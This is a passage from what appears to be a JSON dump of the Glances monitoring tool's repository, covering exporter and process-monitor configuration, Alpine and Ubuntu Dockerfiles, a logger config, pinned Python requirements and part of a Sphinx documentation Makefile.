Syntax: host=password\n# Where: host is the hostname\n#        password is the clear password\n# Additionally (and optionally) a default password could be defined\n#localhost=abc\n#default=defaultpassword\n#\n# Define the path of the local '.pwd' file (default is system one)\n#local_password_path=~/.config/glances\n\n##############################################################################\n# Exports\n##############################################################################\n\n[export]\n# Common section for all exporters\n# Do not export following fields (comma separated list of regex)\n#exclude_fields=.*_critical,.*_careful,.*_warning,.*\\.key$\n\n[graph]\n# Configuration for the --export graph option\n# Set the path where the graph (.svg files) will be created\n# Can be overwrite by the --graph-path command line option\npath=/tmp/glances\n# It is possible to generate the graphs automatically by setting the\n# generate_every to a non zero value corresponding to the seconds between\n# two generation. Set it to 0 to disable graph auto generation.\ngenerate_every=0\n# See following configuration keys definitions in the Pygal lib documentation\n# http://pygal.org/en/stable/documentation/index.html\nwidth=800\nheight=600\nstyle=DarkStyle\n\n[influxdb]\n# !!!\n# Will be DEPRECATED in future release.\n# Please have a look on the new influxdb3 export module\n# !!!\n# Configuration for the --export influxdb option\n# https://influxdb.com/\nhost=localhost\nport=8086\nprotocol=http\nuser=root\npassword=root\ndb=glances\n# Prefix will be added for all measurement name\n# Ex: prefix=foo\n#     => foo.cpu\n#     => foo.mem\n# You can also use dynamic values\n#prefix=foo\n# Following tags will be added for all measurements\n# You can also use dynamic values.\n# Note: hostname and name (for process) are always added as a tag\n#tags=foo:bar,spam:eggs,domain:`domainname`\n\n[influxdb2]\n# Configuration for the --export influxdb2 option\n# https://influxdb.com/\nhost=localhost\nport=8086\nprotocol=http\norg=nicolargo\nbucket=glances\ntoken=PUT_YOUR_INFLUXDB2_TOKEN_HERE\n# Set the interval between two exports (in seconds)\n# If the interval is set to 0, the Glances refresh time is used (default behavor)\n#interval=0\n# Prefix will be added for all measurement name\n# Ex: prefix=foo\n#     => foo.cpu\n#     => foo.mem\n# You can also use dynamic values\n#prefix=foo\n# Following tags will be added for all measurements\n# You can also use dynamic values.\n# Note: hostname and name (for process) are always added as a tag\n#tags=foo:bar,spam:eggs,domain:`domainname`\n\n[influxdb3]\n# Configuration for the --export influxdb3 option\n# https://influxdb.com/\nhost=http://localhost:8181\norg=nicolargo\ndatabase=glances\ntoken=PUT_YOUR_INFLUXDB3_TOKEN_HERE\n# Set the interval between two exports (in seconds)\n# If the interval is set to 0, the Glances refresh time is used (default behavor)\n#interval=0\n# Prefix will be added for all measurement name\n# Ex: prefix=foo\n#     => foo.cpu\n#     => foo.mem\n# You can also use dynamic values\n#prefix=foo\n# Following tags will be added for all measurements\n# You can also use dynamic values.\n# Note: hostname and name (for process) are always added as a tag\n#tags=foo:bar,spam:eggs,domain:`domainname`\n\n[cassandra]\n# Configuration for the --export cassandra option\n# Also works for the ScyllaDB\n# https://influxdb.com/ or http://www.scylladb.com/\nhost=localhost\nport=9042\nprotocol_version=3\nkeyspace=glances\nreplication_factor=2\n# If not define, table name is set to host key\ntable=localhost\n# If not define, username and password will not be used\n#username=cassandra\n#password=password\n\n[opentsdb]\n# Configuration for the --export opentsdb option\n# http://opentsdb.net/\nhost=localhost\nport=4242\n#prefix=glances\n#tags=foo:bar,spam:eggs\n\n[statsd]\n# Configuration for the --export statsd option\n# https://github.com/etsy/statsd\nhost=localhost\nport=8125\n#prefix=glances\n\n[elasticsearch]\n# Configuration for the --export elasticsearch option\n# Data are available via the ES RESTful API. ex: URL/<index>/cpu\n# https://www.elastic.co\nscheme=http\nhost=localhost\nport=9200\nindex=glances\n\n[riemann]\n# Configuration for the --export riemann option\n# http://riemann.io\nhost=localhost\nport=5555\n\n[rabbitmq]\n# Configuration for the --export rabbitmq option\nhost=localhost\nport=5672\nuser=guest\npassword=guest\nqueue=glances_queue\n#protocol=amqps\n\n[mqtt]\n# Configuration for the --export mqtt option\nhost=localhost\n# Overwrite device name in the topic\n#devicename=localhost\nport=8883\ntls=false\nuser=guest\npassword=guest\ntopic=glances\ntopic_structure=per-metric\ncallback_api_version=2\n\n[couchdb]\n# Configuration for the --export couchdb option\n# https://www.couchdb.org\nhost=localhost\nport=5984\ndb=glances\nuser=admin\npassword=admin\n\n[mongodb]\n# Configuration for the --export mongodb option\n# https://www.mongodb.com\nhost=localhost\nport=27017\ndb=glances\nuser=root\npassword=example\n\n[kafka]\n# Configuration for the --export kafka option\n# http://kafka.apache.org/\nhost=localhost\nport=9092\ntopic=glances\n#compression=gzip\n# Tags will be added for all events\n#tags=foo:bar,spam:eggs\n# You can also use dynamic values\n#tags=hostname:`hostname -f`\n\n[zeromq]\n# Configuration for the --export zeromq option\n# http://www.zeromq.org\n# Use * to bind on all interfaces\nhost=*\nport=5678\n# Glances envelopes the stats in a publish message with two frames:\n# - First frame containing the following prefix (STRING)\n# - Second frame with the Glances plugin name (STRING)\n# - Third frame with the Glances plugin stats (JSON)\nprefix=G\n\n[prometheus]\n# Configuration for the --export prometheus option\n# https://prometheus.io\n# Create a Prometheus exporter listening on localhost:9091 (default configuration)\n# Metric are exporter using the following name:\n#   <prefix>_<plugin>_<stats>{labelkey:labelvalue}\n# Note: You should add this exporter to your Prometheus server configuration:\n#   scrape_configs:\n#    - job_name: 'glances_exporter'\n#      scrape_interval: 5s\n#      static_configs:\n#        - targets: ['localhost:9091']\n#\n# Labels will be added for all measurements (default is src:glances)\n#  labels=foo:bar,spam:eggs\n# You can also use dynamic values\n#  labels=system:`uname -s`\n#\nhost=localhost\nport=9091\n#prefix=glances\nlabels=src:glances\n\n[restful]\n# Configuration for the --export restful option\n# Example, export to http://localhost:6789/\nhost=localhost\nport=6789\nprotocol=http\npath=/\n\n[graphite]\n# Configuration for the --export graphite option\n# https://graphiteapp.org/\nhost=localhost\nport=2003\n# Prefix will be added for all measurement name\nprefix=glances\n# System name added between the prefix and the stats\n# By default, system_name = FQDN\n#system_name=mycomputer\n\n[timescaledb]\n# Configuration for the --export timescaledb option\n# https://www.timescale.com/\nhost=localhost\nport=5432\ndb=glances\nuser=postgres\npassword=password\n# Overwrite device name (default is the FQDN)\n# Most of the time, you should not overwrite this value\n#hostname=mycomputer\n\n[nats]\n# Configuration for the --export nats option\n# https://nats.io/\n# Host is a separated list of NATS nodes\nhost=nats://localhost:4222\n# Prefix for the subjects (default is 'glances')\nprefix=glances\n\n[duckdb]\n# database defines where data are stored, can be one of:\n# :memory: (see https://duckdb.org/docs/stable/clients/python/dbapi#in-memory-connection)\n# :memory:glances (see https://duckdb.org/docs/stable/clients/python/dbapi#in-memory-connection)\n# /path/to/glances.db (see https://duckdb.org/docs/stable/clients/python/dbapi#file-based-connection)\n# Or anyone else supported by the API (see https://duckdb.org/docs/stable/clients/python/dbapi)\ndatabase=:memory:\n\n##############################################################################\n# AMPS\n# * enable: Enable (true) or disable (false) the AMP\n# * regex: Regular expression to filter the process(es)\n# * refresh: The AMP is executed every refresh seconds\n# * one_line: (optional) Force (if true) the AMP to be displayed in one line\n# * command: (optional) command to execute when the process is detected (thk to the regex)\n# * countmin: (optional) minimal number of processes\n#             A warning will be displayed if number of process < count\n# * countmax: (optional) maximum number of processes\n#             A warning will be displayed if number of process > count\n# * <foo>: Others variables can be defined and used in the AMP script\n##############################################################################\n\n[amp_dropbox]\n# Use the default AMP (no dedicated AMP Python script)\n# Check if the Dropbox daemon is running\n# Every 3 seconds, display the 'dropbox status' command line\nenable=false\nregex=.*dropbox.*\nrefresh=3\none_line=false\ncommand=dropbox status\ncountmin=1\n\n[amp_python]\n# Use the default AMP (no dedicated AMP Python script)\n# Monitor all the Python scripts\n# Alert if more than 20 Python scripts are running\nenable=false\nregex=.*python.*\nrefresh=3\ncountmax=20\n\n[amp_conntrack]\n# Use && separator for multiple commands\n# If the regex key is not defined, the AMP will be executed every refresh second\n# and the process count will not be displayed (countmin and countmax will be ignore)\nenable=false\nrefresh=30\none_line=false\ncommand=sysctl net.netfilter.nf_conntrack_count && sysctl net.netfilter.nf_conntrack_max\n\n[amp_nginx]\n# Use the NGinx AMP\n# Nginx status page should be enable (https://easyengine.io/tutorials/nginx/status-page/)\nenable=false\nregex=\\/usr\\/sbin\\/nginx\nrefresh=60\none_line=false\nstatus_url=http://localhost/nginx_status\n\n[amp_systemd]\n# Use the Systemd AMP\nenable=false\nregex=\\/lib\\/systemd\\/systemd\nrefresh=30\none_line=true\nsystemctl_cmd=/bin/systemctl --plain\n\n[amp_systemv]\n# Use the Systemv AMP\nenable=false\nregex=\\/sbin\\/init\nrefresh=30\none_line=true\nservice_cmd=/usr/bin/service --status-all\n"
  },
  {
    "path": "docker-files/README.md",
    "content": "# Dockerfiles\n\n```bash\nmake docker\n```\n\nThen test the image with:\n\n```bash\nmake run-docker-alpine-dev\n```\n"
  },
  {
    "path": "docker-files/alpine.Dockerfile",
    "content": "#\n# Glances Dockerfile (based on Alpine)\n#\n# https://github.com/nicolargo/glances\n#\n\n# Note: ENV is for future running containers. ARG for building your Docker image.\n\n# WARNING: the Alpine image version and Python version should be set.\n# Alpine 3.18 tag is a link to the latest 3.18.x version.\n# Be aware that if you change the Alpine version, you may have to change the Python version.\nARG IMAGE_VERSION=3.23\nARG PYTHON_VERSION=3.12\n\n##############################################################################\n# Base layer to be used for building dependencies and the release images\nFROM alpine:${IMAGE_VERSION} AS base\n\n# Upgrade the system\nRUN apk update \\\n  && apk upgrade --no-cache\n\n# Install the minimal set of packages\nRUN apk add --no-cache \\\n  python3 \\\n  curl \\\n  lm-sensors \\\n  wireless-tools \\\n  smartmontools \\\n  iputils \\\n  tzdata\n\n##############################################################################\n# BUILD Stages\n##############################################################################\n# BUILD: Base image shared by all build images\nFROM base AS build\nARG PYTHON_VERSION\n\nRUN apk add --no-cache \\\n  python3-dev \\\n  py3-pip \\\n  py3-wheel \\\n  musl-dev \\\n  linux-headers \\\n  build-base \\\n  libzmq \\\n  zeromq-dev \\\n  # Required for 'cryptography' dependency of optional requirement 'cassandra-driver' \\\n  # Refer: https://cryptography.io/en/latest/installation/#alpine \\\n  # `git` required to clone cargo crates (dependencies)\n  git \\\n  gcc \\\n  cargo \\\n  pkgconfig \\\n  libffi-dev \\\n  openssl-dev \\\n  cmake\n  # for cmake: Issue:  https://github.com/nicolargo/glances/issues/2735\n\nRUN python${PYTHON_VERSION} -m venv venv-build\nRUN /venv-build/bin/python${PYTHON_VERSION} -m pip install --upgrade pip\n\nRUN python${PYTHON_VERSION} -m venv --without-pip venv\n\nCOPY pyproject.toml docker-requirements.txt all-requirements.txt ./\n\n##############################################################################\n# BUILD: Install the minimal image deps\nFROM build AS buildminimal\nARG PYTHON_VERSION\n\nRUN /venv-build/bin/python${PYTHON_VERSION} -m pip install --target=\"/venv/lib/python${PYTHON_VERSION}/site-packages\" \\\n    -r docker-requirements.txt\n\n##############################################################################\n# BUILD: Install all the deps\nFROM build AS buildfull\nARG PYTHON_VERSION\n\n# Required for optional dependency cassandra-driver\nARG CASS_DRIVER_NO_CYTHON=1\n# See issue 2368\nARG CARGO_NET_GIT_FETCH_WITH_CLI=true\n\nRUN /venv-build/bin/python${PYTHON_VERSION} -m pip install --target=\"/venv/lib/python${PYTHON_VERSION}/site-packages\" \\\n    -r all-requirements.txt\n\n##############################################################################\n# RELEASE Stages\n##############################################################################\n# Base image shared by all releases\nFROM base AS release\nARG PYTHON_VERSION\n\n# Copy source code and config file\nCOPY ./docker-compose/glances.conf /etc/glances/glances.conf\nCOPY ./glances/. /app/glances/\n\n# Copy binary and update PATH\nCOPY docker-bin.sh /usr/local/bin/glances\nRUN chmod a+x /usr/local/bin/glances\nENV PATH=\"/venv/bin:$PATH\"\n\n# EXPOSE PORT (XMLRPC / WebUI)\nEXPOSE 61209 61208\n\n# Add glances user\n# RUN addgroup -g 1000 glances && \\\n#     adduser -D -u 1000 -G glances glances && \\\n#     chown -R glances:glances /app\n\n# Define default command.\nWORKDIR /app\nENV PYTHON_VERSION=${PYTHON_VERSION}\nCMD [\"/bin/sh\", \"-c\", \"/venv/bin/python${PYTHON_VERSION} -m glances ${GLANCES_OPT}\"]\n\n################################################################################\n# RELEASE: minimal\nFROM release AS minimal\n\nCOPY --from=buildminimal /venv /venv\n\n# USER glances\n\n################################################################################\n# RELEASE: full\nFROM release AS full\n\nRUN apk add --no-cache \\\n  libzmq \\\n  libvirt-client\n\nCOPY --from=buildfull /venv /venv\n\n# USER glances\n\n################################################################################\n# RELEASE: dev - to be compatible with CI\nFROM full AS dev\n\n# Add the specific logger configuration file for Docker dev\n# All logs will be forwarded to stdout\nCOPY ./docker-files/docker-logger.json /app\nENV LOG_CFG=/app/docker-logger.json\n\n# USER glances\n\nWORKDIR /app\nENV PYTHON_VERSION=${PYTHON_VERSION}\nCMD [\"/bin/sh\", \"-c\", \"/venv/bin/python${PYTHON_VERSION} -m glances ${GLANCES_OPT}\"]\n"
  },
  {
    "path": "docker-files/docker-logger.json",
    "content": "{\n\t\"version\": 1,\n\t\"disable_existing_loggers\": \"False\",\n\t\"root\": { \"level\": \"INFO\", \"handlers\": [\"console\"] },\n\t\"formatters\": {\n\t\t\"standard\": { \"format\": \"%(asctime)s -- %(levelname)s -- %(message)s\" },\n\t\t\"short\": { \"format\": \"%(levelname)s -- %(message)s\" },\n\t\t\"long\": {\n\t\t\t\"format\": \"%(asctime)s -- %(levelname)s -- %(message)s (%(funcName)s in %(filename)s)\"\n\t\t},\n\t\t\"free\": { \"format\": \"%(message)s\" }\n\t},\n\t\"handlers\": {\n\t\t\"console\": { \"class\": \"logging.StreamHandler\", \"formatter\": \"standard\" }\n\t},\n\t\"loggers\": {\n\t\t\"debug\": { \"handlers\": [\"console\"], \"level\": \"DEBUG\" },\n\t\t\"verbose\": { \"handlers\": [\"console\"], \"level\": \"INFO\" },\n\t\t\"standard\": { \"handlers\": [\"console\"], \"level\": \"INFO\" },\n\t\t\"requests\": { \"handlers\": [\"console\"], \"level\": \"ERROR\" },\n\t\t\"elasticsearch\": { \"handlers\": [\"console\"], \"level\": \"ERROR\" },\n\t\t\"elasticsearch.trace\": { \"handlers\": [\"console\"], \"level\": \"ERROR\" }\n\t}\n}\n"
  },
  {
    "path": "docker-files/ubuntu.Dockerfile",
    "content": "#\n# Glances Dockerfile (based on Ubuntu)\n#\n# https://github.com/nicolargo/glances\n#\n\n# WARNING: the versions should be set.\n# Ex: Python 3.12 for Ubuntu 24.04\n# Note: ENV is for future running containers. ARG for building your Docker image.\n\nARG IMAGE_VERSION=24.04\nARG PYTHON_VERSION=3.12\n\n##############################################################################\n# Base layer to be used for building dependencies and the release images\nFROM ubuntu:${IMAGE_VERSION} AS base\nARG DEBIAN_FRONTEND=noninteractive\n\nRUN apt-get update \\\n  && apt-get install -y --no-install-recommends \\\n    python3 \\\n    curl \\\n    lm-sensors \\\n    wireless-tools \\\n    smartmontools \\\n    net-tools \\\n    tzdata \\\n  && apt-get clean \\\n  && rm -rf /var/lib/apt/lists/*\n\n##############################################################################\n# BUILD Stages\n##############################################################################\n# BUILD: Base image shared by all build images\nFROM base AS build\nARG PYTHON_VERSION\nARG DEBIAN_FRONTEND=noninteractive\n\n# Upgrade the system\nRUN apt-get update \\\n  && apt-get upgrade -y\n\n# Install build-time dependencies\nRUN apt-get install -y --no-install-recommends \\\n    python3-dev \\\n    python3-venv \\\n    python3-pip \\\n    python3-wheel \\\n    libzmq5 \\\n    musl-dev \\\n    build-essential\n\nRUN apt-get clean \\\n  && rm -rf /var/lib/apt/lists/*\n\nRUN python3 -m venv --without-pip venv\n\nCOPY pyproject.toml docker-requirements.txt all-requirements.txt ./\n\n##############################################################################\n# BUILD: Install the minimal image deps\nFROM build AS buildminimal\nARG PYTHON_VERSION\n\nRUN python3 -m pip install --target=\"/venv/lib/python${PYTHON_VERSION}/site-packages\" \\\n    -r docker-requirements.txt\n\n##############################################################################\n# BUILD: Install all the deps\nFROM build AS buildfull\nARG PYTHON_VERSION\n\nRUN python3 -m pip install --target=\"/venv/lib/python${PYTHON_VERSION}/site-packages\" \\\n    -r all-requirements.txt\n\n##############################################################################\n# RELEASE Stages\n##############################################################################\n# Base image shared by all releases\nFROM base AS release\nARG PYTHON_VERSION\n\n# Copy Glances source code and config file\nCOPY ./docker-compose/glances.conf /etc/glances/glances.conf\nCOPY ./glances/. /app/glances/\n\n# Copy binary and update PATH\nCOPY docker-bin.sh /usr/local/bin/glances\nRUN chmod a+x /usr/local/bin/glances\nENV PATH=\"/venv/bin:$PATH\"\n\n# EXPOSE PORT (XMLRPC / WebUI)\nEXPOSE 61209 61208\n\n# Add glances user\n# NOTE: If used, the Glances Docker plugin do not work...\n# UID and GUID 1000 are already configured for the ubuntu user\n# Create anew one with UID and GUID 1001\n# RUN groupadd -g 1001 glances && \\\n#     useradd -u 1001 -g glances glances && \\\n#     chown -R glances:glances /app\n\n# Define default command.\nWORKDIR /app\nENV PYTHON_VERSION=${PYTHON_VERSION}\nCMD [\"/bin/sh\", \"-c\", \"/venv/bin/python${PYTHON_VERSION} -m glances ${GLANCES_OPT}\"]\n\n################################################################################\n# RELEASE: minimal\nFROM release AS minimal\nARG PYTHON_VERSION\n\nCOPY --from=buildMinimal /venv /venv\n\n# USER glances\n\n################################################################################\n# RELEASE: full\nFROM release AS full\nARG PYTHON_VERSION\n\nRUN apt-get update \\\n  && apt-get install -y --no-install-recommends \\ \n    libzmq5 \\\n    libvirt-clients \\\n  && apt-get clean \\\n  && rm -rf /var/lib/apt/lists/*\n\nCOPY --from=buildfull /venv /venv\n\n# USER glances\n\n################################################################################\n# RELEASE: dev - to be compatible with CI\nFROM full AS dev\nARG PYTHON_VERSION\n\n# Add the specific logger configuration file for Docker dev\n# All logs will be forwarded to stdout\nCOPY ./docker-files/docker-logger.json /app\nENV LOG_CFG=/app/docker-logger.json\n\n# USER glances\n\nWORKDIR /app\nENV PYTHON_VERSION=${PYTHON_VERSION}\nCMD [\"/bin/sh\", \"-c\", \"/venv/bin/python${PYTHON_VERSION} -m glances ${GLANCES_OPT}\"]\n"
  },
  {
    "path": "docker-requirements.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --no-emit-workspace --no-hashes --no-group dev --extra containers --extra web --extra mcp --output-file docker-requirements.txt\nannotated-doc==0.0.4\n    # via fastapi\nannotated-types==0.7.0\n    # via pydantic\nanyio==4.12.1\n    # via\n    #   httpx\n    #   mcp\n    #   sse-starlette\n    #   starlette\nattrs==25.4.0\n    # via\n    #   jsonschema\n    #   referencing\ncertifi==2026.2.25\n    # via\n    #   httpcore\n    #   httpx\n    #   requests\ncffi==2.0.0 ; platform_python_implementation != 'PyPy'\n    # via cryptography\ncharset-normalizer==3.4.5\n    # via requests\nclick==8.1.8\n    # via uvicorn\ncolorama==0.4.6 ; sys_platform == 'win32'\n    # via click\ncryptography==46.0.5\n    # via\n    #   pyjwt\n    #   pylxd\n    #   python-jose\ndefusedxml==0.7.1\n    # via glances\ndocker==7.1.0\n    # via glances\necdsa==0.19.1\n    # via python-jose\nexceptiongroup==1.2.2 ; python_full_version < '3.11'\n    # via anyio\nfastapi==0.135.1\n    # via glances\nh11==0.16.0\n    # via\n    #   httpcore\n    #   uvicorn\nhttpcore==1.0.9\n    # via httpx\nhttpx==0.28.1\n    # via mcp\nhttpx-sse==0.4.3\n    # via mcp\nidna==3.11\n    # via\n    #   anyio\n    #   httpx\n    #   requests\njinja2==3.1.6\n    # via glances\njsonschema==4.25.1\n    # via mcp\njsonschema-specifications==2025.9.1\n    # via jsonschema\nmarkupsafe==3.0.3\n    # via jinja2\nmcp==1.23.3\n    # via glances\npackaging==26.0\n    # via glances\npodman==5.7.0\n    # via glances\npsutil==7.2.2\n    # via glances\npyasn1==0.6.2\n    # via\n    #   python-jose\n    #   rsa\npycparser==3.0 ; implementation_name != 'PyPy' and platform_python_implementation != 'PyPy'\n    # via cffi\npydantic==2.12.5\n    # via\n    #   fastapi\n    #   mcp\n    #   pydantic-settings\npydantic-core==2.41.5\n    # via pydantic\npydantic-settings==2.13.1\n    # via mcp\npyinstrument==5.1.2\n    # via glances\npyjwt==2.12.1\n    # via mcp\npylxd==2.3.9\n    # via glances\npython-dateutil==2.9.0.post0\n    # via\n    #   glances\n    #   pylxd\npython-dotenv==1.2.2\n    # via pydantic-settings\npython-jose==3.5.0\n    # via glances\npython-multipart==0.0.22\n    # via mcp\npywin32==311 ; sys_platform == 'win32'\n    # via\n    #   docker\n    #   mcp\nreferencing==0.37.0\n    # via\n    #   jsonschema\n    #   jsonschema-specifications\nrequests==2.32.5\n    # via\n    #   docker\n    #   glances\n    #   podman\n    #   pylxd\n    #   requests-toolbelt\nrequests-toolbelt==1.0.0\n    # via pylxd\nrpds-py==0.30.0\n    # via\n    #   jsonschema\n    #   referencing\nrsa==4.9.1\n    # via python-jose\nshtab==1.8.0 ; sys_platform != 'win32'\n    # via glances\nsix==1.17.0\n    # via\n    #   ecdsa\n    #   glances\n    #   python-dateutil\nsse-starlette==3.3.2\n    # via mcp\nstarlette==0.52.1\n    # via\n    #   fastapi\n    #   mcp\n    #   sse-starlette\ntomli==2.0.2 ; python_full_version < '3.11'\n    # via podman\ntyping-extensions==4.15.0\n    # via\n    #   anyio\n    #   cryptography\n    #   fastapi\n    #   mcp\n    #   pydantic\n    #   pydantic-core\n    #   pyjwt\n    #   referencing\n    #   starlette\n    #   typing-inspection\n    #   uvicorn\ntyping-inspection==0.4.2\n    # via\n    #   fastapi\n    #   mcp\n    #   pydantic\n    #   pydantic-settings\nurllib3==2.6.3\n    # via\n    #   docker\n    #   podman\n    #   requests\nuvicorn==0.41.0\n    # via\n    #   glances\n    #   mcp\nwindows-curses==2.4.1 ; sys_platform == 'win32'\n    # via glances\nws4py==0.6.0\n    # via pylxd\n"
  },
  {
    "path": "docs/Makefile",
    "content": "# Makefile for Sphinx documentation\n#\n\n# You can set these variables from the command line.\nSPHINXOPTS    =\nSPHINXBUILD   = ../.venv/bin/sphinx-build\nPAPER         =\nBUILDDIR      = _build\n\n# User-friendly check for sphinx-build\nifeq ($(shell which $(SPHINXBUILD) >/dev/null 2>&1; echo $$?), 1)\n$(error The '$(SPHINXBUILD)' command was not found. Make sure you have Sphinx installed, then set the SPHINXBUILD environment variable to point to the full path of the '$(SPHINXBUILD)' executable. Alternatively you can add the directory with the executable to your PATH. If you don't have Sphinx installed, grab it from http://sphinx-doc.org/)\nendif\n\n# Internal variables.\nPAPEROPT_a4     = -D latex_paper_size=a4\nPAPEROPT_letter = -D latex_paper_size=letter\nALLSPHINXOPTS   = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .\n# the i18n builder cannot share the environment and doctrees with the others\nI18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .\n\n.PHONY: help\nhelp:\n\t@echo \"Please use \\`make <target>' where <target> is one of\"\n\t@echo \"  html       to make standalone HTML files\"\n\t@echo \"  dirhtml    to make HTML files named index.html in directories\"\n\t@echo \"  singlehtml to make a single large HTML file\"\n\t@echo \"  pickle     to make pickle files\"\n\t@echo \"  json       to make JSON files\"\n\t@echo \"  htmlhelp   to make HTML files and a HTML help project\"\n\t@echo \"  qthelp     to make HTML files and a qthelp project\"\n\t@echo \"  applehelp  to make an Apple Help Book\"\n\t@echo \"  devhelp    to make HTML files and a Devhelp project\"\n\t@echo \"  epub       to make an epub\"\n\t@echo \"  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter\"\n\t@echo \"  latexpdf   to make LaTeX files and run them through pdflatex\"\n\t@echo \"  latexpdfja to make LaTeX files and run them through platex/dvipdfmx\"\n\t@echo \"  text       to make text files\"\n\t@echo \"  man        to make manual pages\"\n\t@echo \"  texinfo    to make Texinfo files\"\n\t@echo \"  info       to make Texinfo files and run them through makeinfo\"\n\t@echo \"  gettext    to make PO message catalogs\"\n\t@echo \"  changes    to make an overview of all changed/added/deprecated items\"\n\t@echo \"  xml        to make Docutils-native XML files\"\n\t@echo \"  pseudoxml  to make pseudoxml-XML files for display purposes\"\n\t@echo \"  linkcheck  to check all external links for integrity\"\n\t@echo \"  doctest    to run all doctests embedded in the documentation (if enabled)\"\n\t@echo \"  coverage   to run coverage check of the documentation (if enabled)\"\n\n.PHONY: clean\nclean:\n\trm -rf $(BUILDDIR)/*\n\n.PHONY: html\nhtml:\n\t$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html\n\t@echo\n\t@echo \"Build finished. The HTML pages are in $(BUILDDIR)/html.\"\n\n.PHONY: dirhtml\ndirhtml:\n\t$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml\n\t@echo\n\t@echo \"Build finished. The HTML pages are in $(BUILDDIR)/dirhtml.\"\n\n.PHONY: singlehtml\nsinglehtml:\n\t$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml\n\t@echo\n\t@echo \"Build finished. The HTML page is in $(BUILDDIR)/singlehtml.\"\n\n.PHONY: pickle\npickle:\n\t$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle\n\t@echo\n\t@echo \"Build finished; now you can process the pickle files.\"\n\n.PHONY: json\njson:\n\t$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json\n\t@echo\n\t@echo \"Build finished; now you can process the JSON files.\"\n\n.PHONY: htmlhelp\nhtmlhelp:\n\t$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp\n\t@echo\n\t@echo \"Build finished; now you can run HTML Help Workshop with the\" \\\n\t      \".hhp project file in $(BUILDDIR)/htmlhelp.\"\n\n.PHONY: qthelp\nqthelp:\n\t$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp\n\t@echo\n\t@echo \"Build finished; now you can run \"qcollectiongenerator\" with the\" \\\n\t      \".qhcp project file in $(BUILDDIR)/qthelp, like this:\"\n\t@echo \"# qcollectiongenerator $(BUILDDIR)/qthelp/Glances.qhcp\"\n\t@echo \"To view the help file:\"\n\t@echo \"# assistant -collectionFile $(BUILDDIR)/qthelp/Glances.qhc\"\n\n.PHONY: applehelp\napplehelp:\n\t$(SPHINXBUILD) -b applehelp $(ALLSPHINXOPTS) $(BUILDDIR)/applehelp\n\t@echo\n\t@echo \"Build finished. The help book is in $(BUILDDIR)/applehelp.\"\n\t@echo \"N.B. You won't be able to view it unless you put it in\" \\\n\t      \"~/Library/Documentation/Help or install it in your application\" \\\n\t      \"bundle.\"\n\n.PHONY: devhelp\ndevhelp:\n\t$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp\n\t@echo\n\t@echo \"Build finished.\"\n\t@echo \"To view the help file:\"\n\t@echo \"# mkdir -p $$HOME/.local/share/devhelp/Glances\"\n\t@echo \"# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Glances\"\n\t@echo \"# devhelp\"\n\n.PHONY: epub\nepub:\n\t$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub\n\t@echo\n\t@echo \"Build finished. The epub file is in $(BUILDDIR)/epub.\"\n\n.PHONY: latex\nlatex:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo\n\t@echo \"Build finished; the LaTeX files are in $(BUILDDIR)/latex.\"\n\t@echo \"Run \\`make' in that directory to run these through (pdf)latex\" \\\n\t      \"(use \\`make latexpdf' here to do that automatically).\"\n\n.PHONY: latexpdf\nlatexpdf:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo \"Running LaTeX files through pdflatex...\"\n\t$(MAKE) -C $(BUILDDIR)/latex all-pdf\n\t@echo \"pdflatex finished; the PDF files are in $(BUILDDIR)/latex.\"\n\n.PHONY: latexpdfja\nlatexpdfja:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo \"Running LaTeX files through platex and dvipdfmx...\"\n\t$(MAKE) -C $(BUILDDIR)/latex all-pdf-ja\n\t@echo \"pdflatex finished; the PDF files are in $(BUILDDIR)/latex.\"\n\n.PHONY: text\ntext:\n\t$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text\n\t@echo\n\t@echo \"Build finished. The text files are in $(BUILDDIR)/text.\"\n\n.PHONY: man\nman:\n\t$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man\n\t@echo\n\t@echo \"Build finished. The manual pages are in $(BUILDDIR)/man.\"\n\trm -f man/*\n\tcp $(BUILDDIR)/man/* man/\n\t@echo \"The manual pages have been copied in ./man.\"\n\n.PHONY: texinfo\ntexinfo:\n\t$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo\n\t@echo\n\t@echo \"Build finished. The Texinfo files are in $(BUILDDIR)/texinfo.\"\n\t@echo \"Run \\`make' in that directory to run these through makeinfo\" \\\n\t      \"(use \\`make info' here to do that automatically).\"\n\n.PHONY: info\ninfo:\n\t$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo\n\t@echo \"Running Texinfo files through makeinfo...\"\n\tmake -C $(BUILDDIR)/texinfo info\n\t@echo \"makeinfo finished; the Info files are in $(BUILDDIR)/texinfo.\"\n\n.PHONY: gettext\ngettext:\n\t$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale\n\t@echo\n\t@echo \"Build finished. The message catalogs are in $(BUILDDIR)/locale.\"\n\n.PHONY: changes\nchanges:\n\t$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes\n\t@echo\n\t@echo \"The overview file is in 